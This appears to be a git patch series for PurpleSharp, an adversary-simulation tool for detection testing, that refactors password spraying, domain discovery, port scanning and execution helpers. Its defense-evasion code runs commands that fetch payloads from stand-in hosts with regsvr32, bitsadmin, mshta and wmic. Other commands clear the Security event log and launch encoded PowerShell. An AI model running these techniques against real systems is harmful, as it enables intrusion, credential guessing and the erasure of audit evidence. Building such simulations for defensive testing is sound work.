d576682..6b1eeb3 100644 --- a/PurpleSharp/Simulations/DiscoveryHelper.cs +++ b/PurpleSharp/Simulations/DiscoveryHelper.cs @@ -118,7 +118,7 @@ public static void PortScan(Computer computer, TimeSpan timeout) Console.WriteLine("{0}[{1}] Finished network service scan on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); } - public static void ListUsersLdap(Logger logger) + public static void LdapQueryForObjects(Logger logger, int type=1, string user = "", string group = "") { try { @@ -128,26 +128,52 @@ public static void ListUsersLdap(Logger logger) DirectoryEntry searchRoot = new DirectoryEntry("LDAP://" + dc); DirectorySearcher search = new DirectorySearcher(); search = new DirectorySearcher(searchRoot); - Console.WriteLine(search); - search.Filter = "(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"; - search.PropertiesToLoad.Add("samaccountname"); - search.PropertiesToLoad.Add("displayname"); + + //users + if (type == 1) + { + search.Filter = "(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"; + search.PropertiesToLoad.Add("samaccountname"); + search.PropertiesToLoad.Add("displayname"); + } + else if (type == 2) + { + if (group.Equals("")) + { + search.Filter = "(&(objectClass=group))"; + search.PropertiesToLoad.Add("samaccountname"); + search.PropertiesToLoad.Add("CanonicalName"); + } + else + { + //https://forums.asp.net/t/1991180.aspx?Query+AD+for+users+in+a+specific+group+by+group+name+ + search.Filter = String.Format("(&(cn={0})(objectClass=group))", group); + search.PropertiesToLoad.Add("member"); + } + } search.SizeLimit = 15; SearchResult result; SearchResultCollection resultCol = search.FindAll(); if (resultCol != null) { - logger.TimestampInfo("Obtained results via LDAP"); + logger.TimestampInfo(String.Format("Obtained {0} results via LDAP", resultCol.Count)); for (int counter = 0; counter < resultCol.Count; counter++) { string UserNameEmailString = string.Empty; result = resultCol[counter]; if (result.Properties.Contains("samaccountname") && result.Properties.Contains("displayname")) { - Console.WriteLine((String)result.Properties["displayname"][0] + ": " + (String)result.Properties["samaccountname"][0]); logger.TimestampInfo((String)result.Properties["displayname"][0] + ": " + (String)result.Properties["samaccountname"][0]); } + else if (result.Properties.Contains("samaccountname") && result.Properties.Contains("CanonicalName")) + { + logger.TimestampInfo((String)result.Properties["samaccountname"][0] + " - " + (String)result.Properties["CanonicalName"][0]); + } + else if (result.Properties.Contains("Member")) + { + logger.TimestampInfo((String)result.Properties["member"][0]); + } } } } @@ -159,6 +185,5 @@ public static void ListUsersLdap(Logger logger) } } - } } \ No newline at end of file From 9109375ca7b39f4c3b8d898f02042185dc63ee7b Mon Sep 17 00:00:00 2001 From: mvelazco Date: Sat, 24 Apr 2021 10:25:22 -0400 Subject: [PATCH 14/20] adding password variable for Spraying techniques --- PurpleSharp/Lib/Models.cs | 1 + PurpleSharp/Program.cs | 5 ++--- PurpleSharp/Simulations/CredAccess.cs | 12 ++++++------ 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/PurpleSharp/Lib/Models.cs b/PurpleSharp/Lib/Models.cs index 8eeadb5..1a89d8a 100644 --- a/PurpleSharp/Lib/Models.cs +++ b/PurpleSharp/Lib/Models.cs @@ -122,6 +122,7 @@ public class PlaybookTask public int host_target_total { get; set; } = 5; public string[] user_targets { get; set; } public string[] host_targets { get; set; } + public string spray_password { get; set; } = "Passw0rd1"; // Group Domain Enumeration T1069.002 public string[] groups { get; set; } = { }; diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 965916d..efc976b 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -1022,9 +1022,8 @@ public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) //T1110.003 - Password Spraying case "T1110.003": - string password = "Summer2020"; - if (playbook_task.variation == 1) Simulations.CredAccess.LocalDomainPasswordSpray(playbook_task, password, log); - else Simulations.CredAccess.RemoteDomainPasswordSpray(playbook_task, password, log); + if (playbook_task.variation == 1) Simulations.CredAccess.LocalDomainPasswordSpray(playbook_task, log); + else Simulations.CredAccess.RemoteDomainPasswordSpray(playbook_task, log); break; diff --git a/PurpleSharp/Simulations/CredAccess.cs b/PurpleSharp/Simulations/CredAccess.cs index aef61ec..f18e1a6 100644 --- a/PurpleSharp/Simulations/CredAccess.cs +++ b/PurpleSharp/Simulations/CredAccess.cs @@ -14,7 +14,7 @@ namespace PurpleSharp.Simulations public class CredAccess { - public static void LocalDomainPasswordSpray(PlaybookTask playbook_task, string password, string log) + public static void LocalDomainPasswordSpray(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; @@ -34,12 +34,12 @@ public static void LocalDomainPasswordSpray(PlaybookTask playbook_task, string p { if (playbook_task.protocol.ToUpper().Equals("KERBEROS")) { - CredAccessHelper.LogonUser(user.UserName, domain, password, 2, 0, logger); + CredAccessHelper.LogonUser(user.UserName, domain, playbook_task.spray_password, 2, 0, logger); if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); } else { - CredAccessHelper.LogonUser(user.UserName, domain, password, 2, 2, logger); + CredAccessHelper.LogonUser(user.UserName, domain, playbook_task.spray_password, 2, 2, logger); if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); } } @@ -52,7 +52,7 @@ public static void LocalDomainPasswordSpray(PlaybookTask playbook_task, string p } - public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string password, string log) + public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); @@ -85,7 +85,7 @@ public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string if (playbook_task.task_sleep > 0 ) Thread.Sleep(playbook_task.task_sleep * 1000); tasklist.Add(Task.Factory.StartNew(() => { - CredAccessHelper.RemoteSmbLogin(host_targets[0], domain, tempuser.UserName, password, Kerberos, logger); + CredAccessHelper.RemoteSmbLogin(host_targets[0], domain, tempuser.UserName, playbook_task.spray_password, Kerberos, logger); })); } Task.WaitAll(tasklist.ToArray()); @@ -106,7 +106,7 @@ public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string if (playbook_task.task_sleep > 0 && temp > 0) Thread.Sleep(playbook_task.task_sleep * 1000); tasklist.Add(Task.Factory.StartNew(() => { - CredAccessHelper.RemoteSmbLogin(host_targets[temp], domain, user_targets[temp].UserName, password, Kerberos, logger); + CredAccessHelper.RemoteSmbLogin(host_targets[temp], domain, user_targets[temp].UserName, playbook_task.spray_password, Kerberos, logger); })); } From a307eb180d9a26ca036972a138aec8219717afdf Mon Sep 17 00:00:00 2001 From: mvelazco Date: Sun, 25 Apr 2021 17:33:17 -0400 Subject: [PATCH 15/20] updates on T1087.002 & T1069.002 --- PurpleSharp/Program.cs | 2 + PurpleSharp/Simulations/Discovery.cs | 62 ++++++++++++++++++++++++++-- 2 files changed, 60 insertions(+), 4 deletions(-) diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index efc976b..cabe6f4 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -1065,6 +1065,7 @@ public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) case "T1087.002": if (playbook_task.variation == 1) Simulations.Discovery.DomainAccountDiscoveryCmd(log); + else if (playbook_task.variation == 2) Simulations.Discovery.DomainAccountDiscoveryPowerShell(log); else Simulations.Discovery.DomainAccountDiscoveryLdap(log); break; @@ -1094,6 +1095,7 @@ public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) case "T1069.002": if (playbook_task.variation == 1) Simulations.Discovery.DomainGroupDiscoveryCmd(playbook_task, log); + else if (playbook_task.variation == 2) Simulations.Discovery.DomainGroupDiscoveryPowerShell(playbook_task, log); else Simulations.Discovery.DomaiGroupDiscoveryLdap(playbook_task, log); break; diff --git a/PurpleSharp/Simulations/Discovery.cs b/PurpleSharp/Simulations/Discovery.cs index b0586ed..a360082 100644 --- a/PurpleSharp/Simulations/Discovery.cs +++ b/PurpleSharp/Simulations/Discovery.cs @@ -121,7 +121,7 @@ public static void NetworkServiceDiscovery(int nhost, int tsleep, string log) public static void DomainAccountDiscoveryLdap(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1087.002"); logger.TimestampInfo("Using LDAP to execute this technique"); try @@ -138,7 +138,7 @@ public static void DomainAccountDiscoveryLdap(string log) public static void DomainAccountDiscoveryCmd(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Lib.Logger(currentPath + log); logger.SimulationHeader("T1087.002"); logger.TimestampInfo("Using the command line to execute the technique"); @@ -153,6 +153,25 @@ public static void DomainAccountDiscoveryCmd(string log) } } + public static void DomainAccountDiscoveryPowerShell(string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Lib.Logger logger = new Lib.Logger(currentPath + log); + logger.SimulationHeader("T1087.002"); + logger.TimestampInfo("Using PowerShell to execute the technique"); + + try + { + string encodedPwd = "RwBlAHQALQBBAEQAVQBzAGUAcgAgAC0ARgBpAGwAdABlAHIAIAAqACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIABTAGEAbQBBAGMAYwBvAHUAbgB0AE4AQQBtAGUA"; + ExecutionHelper.StartProcess("", String.Format("powershell.exe -enc {0}", encodedPwd), logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + public static void LocalAccountDiscoveryCmd(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; @@ -301,7 +320,7 @@ public static void PasswordPolicyDiscovery(string log) public static void LocalGroups(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1069.001"); logger.TimestampInfo("Using the command line to execute the technique"); @@ -320,7 +339,7 @@ public static void LocalGroups(string log) public static void DomainGroupDiscoveryCmd(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1069.002"); logger.TimestampInfo("Using the command line to execute technique"); try @@ -346,6 +365,41 @@ public static void DomainGroupDiscoveryCmd(PlaybookTask playbook_task, string lo } } + public static void DomainGroupDiscoveryPowerShell(PlaybookTask playbook_task, string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1069.002"); + logger.TimestampInfo("Using PowerShell to execute the technique"); + try + { + if (playbook_task.groups.Length > 0) + { + foreach (string group in playbook_task.groups) + { + string cleanPws = String.Format("Get-AdGroup -Filter {{Name -like '{0}'}} | Get-ADGroupMember | Select SamAccountName", group); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + ExecutionHelper.StartProcess("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + } + logger.SimulationFinished(); + } + else + { + string cleanPws = String.Format("Get-AdGroup -Filter {{Name -like 'Domain Admins'}} | Get-ADGroupMember | Select SamAccountName"); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + ExecutionHelper.StartProcess("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + logger.SimulationFinished(); + + } + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + public static void DomaiGroupDiscoveryLdap(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; From ff8457391367bf159ae82b3787e58506dbe08bb2 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Sun, 25 Apr 2021 20:32:50 -0400 Subject: [PATCH 16/20] refactoring T1046 & T1135 --- PurpleSharp/Lib/Models.cs | 14 +++- PurpleSharp/Lib/Targets.cs | 4 +- PurpleSharp/Program.cs | 6 +- PurpleSharp/Simulations/Discovery.cs | 94 +++++++++++++++------- PurpleSharp/Simulations/DiscoveryHelper.cs | 8 +- 5 files changed, 83 insertions(+), 43 deletions(-) diff --git a/PurpleSharp/Lib/Models.cs b/PurpleSharp/Lib/Models.cs index 1a89d8a..1a83857 100644 --- a/PurpleSharp/Lib/Models.cs +++ b/PurpleSharp/Lib/Models.cs @@ -116,17 +116,23 @@ public class PlaybookTask // Password Spraying T1110.003 public string protocol { get; set; } = "Kerberos"; + public string spray_password { get; set; } = "Passw0rd1"; + + // User target variables public int user_target_type { get; set; } = 1; - public int host_target_type { get; set; } = 1; public int user_target_total { get; set; } = 5; - public int host_target_total { get; set; } = 5; public string[] user_targets { get; set; } + + // Host target variables + public int host_target_type { get; set; } = 1; + public int host_target_total { get; set; } = 5; public string[] host_targets { get; set; } - public string spray_password { get; set; } = "Passw0rd1"; - + // Group Domain Enumeration T1069.002 public string[] groups { get; set; } = { }; + // Network Service Scanning + public int[] ports { get; set; } = { 135, 139, 443, 445, 1433, 3306, 3389 }; public PlaybookTask() { diff --git a/PurpleSharp/Lib/Targets.cs b/PurpleSharp/Lib/Targets.cs index 5efcd7e..a078723 100644 --- a/PurpleSharp/Lib/Targets.cs +++ b/PurpleSharp/Lib/Targets.cs @@ -207,7 +207,7 @@ public static List GetHostTargets_old(int servertype, int nhosts, Lib. } - public static List GetHostTargets(PlaybookTask playbook_task, Lib.Logger logger) + public static List GetHostTargets(PlaybookTask playbook_task, Logger logger) { List host_targets = new List(); Computer host_target = new Computer(); @@ -238,7 +238,7 @@ public static List GetHostTargets(PlaybookTask playbook_task, Lib.Logg break; case 3: - + //TODO: This option is not needed, It can be part of case 1. logger.TimestampInfo(String.Format("Targeting {0} hosts defined in playbook", playbook_task.host_targets.Length)); for (int i = 0; i < playbook_task.host_targets.Length; i++) { diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index cabe6f4..e67f1e9 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -1051,12 +1051,14 @@ public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) //T1135 - Network Share Discovery case "T1135": - Simulations.Discovery.EnumerateShares(playbook_task.host_target_total, playbook_task.task_sleep, log); + if (playbook_task.variation == 1) Simulations.Discovery.NetworkShareEnumerationCmdLocal(log); + else if (playbook_task.variation == 2) Simulations.Discovery.NetworkShareEnumerationCmdRemote(playbook_task, log); + else Simulations.Discovery.NetworkShareEnumerationApiRemote(playbook_task, log); break; //T1046 - Network Service Scanning case "T1046": - Simulations.Discovery.NetworkServiceDiscovery(playbook_task.host_target_total, playbook_task.task_sleep, log); + Simulations.Discovery.NetworkServiceDiscovery(playbook_task, log); break; case "T1087.001": diff --git a/PurpleSharp/Simulations/Discovery.cs b/PurpleSharp/Simulations/Discovery.cs index a360082..441cc08 100644 --- a/PurpleSharp/Simulations/Discovery.cs +++ b/PurpleSharp/Simulations/Discovery.cs @@ -9,24 +9,61 @@ namespace PurpleSharp.Simulations { class Discovery { - public static void EnumerateShares(int nhosts, int tsleep, string log) + + public static void NetworkShareEnumerationCmdLocal(string log) { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1135"); + logger.TimestampInfo("Using the command line to execute the technique"); + try + { + ExecutionHelper.StartProcess("", "net share", logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + public static void NetworkShareEnumerationCmdRemote(PlaybookTask playbook_task, string log) + { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1135"); + logger.TimestampInfo("Using the command line to execute the technique"); + try + { + List target_hosts = Targets.GetHostTargets(playbook_task, logger); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", playbook_task.task_sleep)); + foreach (Computer computer in target_hosts) + { + ExecutionHelper.StartProcess("", String.Format("net view \\\\{0}", computer.IPv4), logger); + } + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + + public static void NetworkShareEnumerationApiRemote(PlaybookTask playbook_task, string log) + { + + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1135"); logger.TimestampInfo("Using the Win32 API NetShareEnum function to execute this technique"); try { + //List targetcomputers = Lib.Targets.GetHostTargets_old(computertype, nhosts, logger); List tasklist = new List(); - var rand = new Random(); - int computertype = rand.Next(1, 6); - - List targetcomputers = Lib.Targets.GetHostTargets_old(computertype, nhosts, logger); - logger.TimestampInfo(String.Format("Obtained {0} target computers", targetcomputers.Count)); - if (tsleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each enumeration attempt", tsleep)); - foreach (Computer computer in targetcomputers) + List target_hosts = Targets.GetHostTargets(playbook_task, logger); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each enumeration attempt", playbook_task.task_sleep)); + foreach (Computer computer in target_hosts) { if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) { @@ -35,7 +72,7 @@ public static void EnumerateShares(int nhosts, int tsleep, string log) DiscoveryHelper.ShareEnum(computer, logger); })); - if (tsleep > 0) Thread.Sleep(tsleep * 1000); + if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); } } @@ -75,37 +112,34 @@ public static void PrivilegeEnumeration(int nhost, int sleep, string log) } Task.WaitAll(tasklist.ToArray()); } - public static void NetworkServiceDiscovery(int nhost, int tsleep, string log) + public static void NetworkServiceDiscovery(PlaybookTask playbook_task, string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1046"); logger.TimestampInfo("Using the System.Net.Sockets .NET namespace to execute this technique"); try { - var rand = new Random(); - int computertype = rand.Next(1, 6); List tasklist = new List(); - List targetcomputers = Lib.Targets.GetHostTargets_old(computertype, nhost, logger); - logger.TimestampInfo(String.Format("Obtained {0} target computers for the scan", targetcomputers.Count)); - if (tsleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", tsleep)); - foreach (Computer computer in targetcomputers) + List target_hosts = Targets.GetHostTargets(playbook_task, logger); + //logger.TimestampInfo(String.Format("Obtained {0} target computers for the scan", target_hosts.Count)); + if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", playbook_task.task_sleep)); + foreach (Computer computer in target_hosts) { - if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) - { - Computer temp = computer; - TimeSpan interval = TimeSpan.FromSeconds(5); - - tasklist.Add(Task.Factory.StartNew(() => - { - logger.TimestampInfo(String.Format("Starting port scan against {0} ({1})", temp.ComputerName, temp.IPv4)); - DiscoveryHelper.PortScan(temp, interval); + //if (!computer.Fqdn.ToUpper().Contains(Environment.MachineName.ToUpper())) + //{ + Computer temp = computer; + TimeSpan interval = TimeSpan.FromSeconds(5); - })); - if (tsleep > 0) Thread.Sleep(tsleep * 1000); + tasklist.Add(Task.Factory.StartNew(() => + { + logger.TimestampInfo(String.Format("Starting port scan against {0} ({1})", temp.ComputerName, temp.IPv4)); + DiscoveryHelper.PortScan(temp, interval, playbook_task.ports, logger) ; + })); + if (playbook_task.task_sleep > 0) Thread.Sleep(playbook_task.task_sleep * 1000); - } + //} } Task.WaitAll(tasklist.ToArray()); logger.SimulationFinished(); diff --git a/PurpleSharp/Simulations/DiscoveryHelper.cs b/PurpleSharp/Simulations/DiscoveryHelper.cs index 6b1eeb3..294f0fa 100644 --- a/PurpleSharp/Simulations/DiscoveryHelper.cs +++ b/PurpleSharp/Simulations/DiscoveryHelper.cs @@ -71,15 +71,16 @@ public static void FindLocalAdminAccess(Computer computer) } - public static void PortScan(Computer computer, TimeSpan timeout) + public static void PortScan(Computer computer, TimeSpan timeout, int[] ports, Logger logger) { IPAddress server2 = IPAddress.Parse(computer.IPv4); //List ports = new List { 21, 22, 23, 25, 80, 135, 139, 443, 445, 1433, 3306, 3389, 8080, 8000, 10000 }; - List ports = new List { 135, 139, 443, 445, 1433, 3306, 3389}; + //List ports = new List { 135, 139, 443, 445, 1433, 3306, 3389}; foreach (int port in ports) { //Console.WriteLine("Scanning port {0} on {1}", port, computer.Fqdn); + logger.TimestampInfo(String.Format("Scanning port {0} on {1}", port, computer.IPv4)); IPEndPoint remoteEP = new IPEndPoint(server2, port); Socket sender = new Socket(remoteEP.AddressFamily, SocketType.Stream, ProtocolType.Tcp); @@ -110,12 +111,9 @@ public static void PortScan(Computer computer, TimeSpan timeout) //DateTime dtime = DateTime.Now; //Console.WriteLine("{0}[{1}] Could not perform network service scan on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); //return false; - } - } DateTime dtime = DateTime.Now; - Console.WriteLine("{0}[{1}] Finished network service scan on {2}", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), computer.Fqdn); } public static void LdapQueryForObjects(Logger logger, int type=1, string user = "", string group = "") From 6ed0a73913bf37ced98c7ef684647d86225f191b Mon Sep 17 00:00:00 2001 From: mvelazco Date: Sat, 1 May 2021 12:23:04 -0400 Subject: [PATCH 17/20] update T1482. Add the .NET process start execution helper --- PurpleSharp/Program.cs | 3 +- PurpleSharp/Simulations/DefenseEvasion.cs | 22 ++--- PurpleSharp/Simulations/Discovery.cs | 106 +++++++++++++-------- PurpleSharp/Simulations/Execution.cs | 12 +-- PurpleSharp/Simulations/ExecutionHelper.cs | 33 ++++++- PurpleSharp/Simulations/Persistence.cs | 16 ++-- 6 files changed, 123 insertions(+), 69 deletions(-) diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index e67f1e9..9eacd50 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -1084,7 +1084,8 @@ public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) break; case "T1482": - Simulations.Discovery.DomainTrustDiscovery(log); + if (playbook_task.variation == 1) Simulations.Discovery.DomainTrustDiscoveryCmd(log); + else Simulations.Discovery.DomainTrustDiscoveryPowerShell(log); break; case "T1201": diff --git a/PurpleSharp/Simulations/DefenseEvasion.cs b/PurpleSharp/Simulations/DefenseEvasion.cs index 19c8fb6..18f0144 100644 --- a/PurpleSharp/Simulations/DefenseEvasion.cs +++ b/PurpleSharp/Simulations/DefenseEvasion.cs @@ -21,7 +21,7 @@ public static void Csmtp(string log) try { string file = @"C:\Users\Administrator\AppData\Local\Temp\XKNqbpzl.txt"; - ExecutionHelper.StartProcess("", String.Format("cmstp /s /ns {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format("cmstp /s /ns {0}", file), logger); logger.SimulationFinished(); } catch(Exception ex) @@ -39,7 +39,7 @@ static public void Regsvr32(string log) { string url = @"http://malicious.domain:8080/payload.sct"; string dll = "scrobj.dll"; - ExecutionHelper.StartProcess("", String.Format("regsvr32.exe /u /n /s /i:{0} {1}", url, dll), logger); + ExecutionHelper.StartProcessApi("", String.Format("regsvr32.exe /u /n /s /i:{0} {1}", url, dll), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -57,7 +57,7 @@ public static void InstallUtil(string log) try { string file = @"C:\Windows\Temp\XKNqbpzl.exe"; - ExecutionHelper.StartProcess("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfiles /LogToConsole=alse /U {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfiles /LogToConsole=alse /U {0}", file), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -74,8 +74,8 @@ public static void RegsvcsRegasm(string log) try { string file = @"winword.dll"; - ExecutionHelper.StartProcess("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U {0}", file), logger); - ExecutionHelper.StartProcess("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U {0}", file), logger); + ExecutionHelper.StartProcessApi("", String.Format(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U {0}", file), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -94,7 +94,7 @@ public static void BitsJobs(string log) { string url = "http://web.evil/sc.exe"; string file = @"C:\Windows\Temp\winword.exe"; - ExecutionHelper.StartProcess("", String.Format("bitsadmin /transfer job /download /priority high {0} {1}", url, file), logger); + ExecutionHelper.StartProcessApi("", String.Format("bitsadmin /transfer job /download /priority high {0} {1}", url, file), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -111,7 +111,7 @@ public static void Mshta(string log) try { string url = "http://webserver/payload.hta"; - ExecutionHelper.StartProcess("", String.Format("mshta {0}", url), logger); + ExecutionHelper.StartProcessApi("", String.Format("mshta {0}", url), logger); logger.SimulationFinished(); } catch(Exception ex) @@ -129,7 +129,7 @@ public static void DeobfuscateDecode(string log) { string encoded = "encodedb64.txt"; string decoded = "decoded.exe"; - ExecutionHelper.StartProcess("", String.Format("certutil -decode {0} {1}", encoded, decoded), logger); + ExecutionHelper.StartProcessApi("", String.Format("certutil -decode {0} {1}", encoded, decoded), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -146,7 +146,7 @@ public static void XlScriptProcessing(string log) try { string url = "http://webserver/payload.xsl"; - ExecutionHelper.StartProcess("", String.Format("wmic os get /FORMAT:\"{0}\"", url), logger); + ExecutionHelper.StartProcessApi("", String.Format("wmic os get /FORMAT:\"{0}\"", url), logger); logger.SimulationFinished(); } catch(Exception ex) @@ -163,7 +163,7 @@ public static void Rundll32(string log) try { string file = @"C:\Windows\twain_64.dll"; - ExecutionHelper.StartProcess("", String.Format("rundll32 \"{0}\"", file), logger); + ExecutionHelper.StartProcessApi("", String.Format("rundll32 \"{0}\"", file), logger); logger.SimulationFinished(); } catch(Exception ex) @@ -180,7 +180,7 @@ public static void ClearSecurityEventLogCmd(string log) logger.TimestampInfo("Using the command line to execute the technique"); try { - ExecutionHelper.StartProcess("", "wevtutil.exe cl Security", logger); + ExecutionHelper.StartProcessApi("", "wevtutil.exe cl Security", logger); logger.SimulationFinished(); } catch(Exception ex) diff --git a/PurpleSharp/Simulations/Discovery.cs b/PurpleSharp/Simulations/Discovery.cs index 441cc08..6a6effc 100644 --- a/PurpleSharp/Simulations/Discovery.cs +++ b/PurpleSharp/Simulations/Discovery.cs @@ -18,7 +18,7 @@ public static void NetworkShareEnumerationCmdLocal(string log) logger.TimestampInfo("Using the command line to execute the technique"); try { - ExecutionHelper.StartProcess("", "net share", logger); + ExecutionHelper.StartProcessApi("", "net share", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -39,7 +39,7 @@ public static void NetworkShareEnumerationCmdRemote(PlaybookTask playbook_task, if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between each network scan", playbook_task.task_sleep)); foreach (Computer computer in target_hosts) { - ExecutionHelper.StartProcess("", String.Format("net view \\\\{0}", computer.IPv4), logger); + ExecutionHelper.StartProcessApi("", String.Format("net view \\\\{0}", computer.IPv4), logger); } logger.SimulationFinished(); } @@ -178,7 +178,8 @@ public static void DomainAccountDiscoveryCmd(string log) try { - ExecutionHelper.StartProcess("", "net user /domain", logger); + //ExecutionHelper.StartProcessApi("", "net user /domain", logger); + ExecutionHelper.StartProcessNET("net.exe", "user /domain", logger); logger.SimulationFinished(); } catch(Exception ex) @@ -196,8 +197,10 @@ public static void DomainAccountDiscoveryPowerShell(string log) try { - string encodedPwd = "RwBlAHQALQBBAEQAVQBzAGUAcgAgAC0ARgBpAGwAdABlAHIAIAAqACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIABTAGEAbQBBAGMAYwBvAHUAbgB0AE4AQQBtAGUA"; - ExecutionHelper.StartProcess("", String.Format("powershell.exe -enc {0}", encodedPwd), logger); + string cleanPws = String.Format("Get-ADUser -Filter * | Select-Object SamAccountNAme"); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var cleanPwsBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -216,7 +219,7 @@ public static void LocalAccountDiscoveryCmd(string log) try { //ExecutionHelper.StartProcess("", "net group \"Domain Admins\" /domain", log); - ExecutionHelper.StartProcess("", "net user", logger); + ExecutionHelper.StartProcessApi("", "net user", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -232,8 +235,8 @@ public static void SystemServiceDiscovery(string log) logger.SimulationHeader("T1007"); try { - ExecutionHelper.StartProcess("", "net start", logger); - ExecutionHelper.StartProcess("", "tasklist /svc", logger); + ExecutionHelper.StartProcessApi("", "net start", logger); + ExecutionHelper.StartProcessApi("", "tasklist /svc", logger); logger.SimulationFinished(); } catch(Exception ex) @@ -246,12 +249,12 @@ public static void SystemServiceDiscovery(string log) public static void SystemUserDiscovery(string log) { string currentPath = 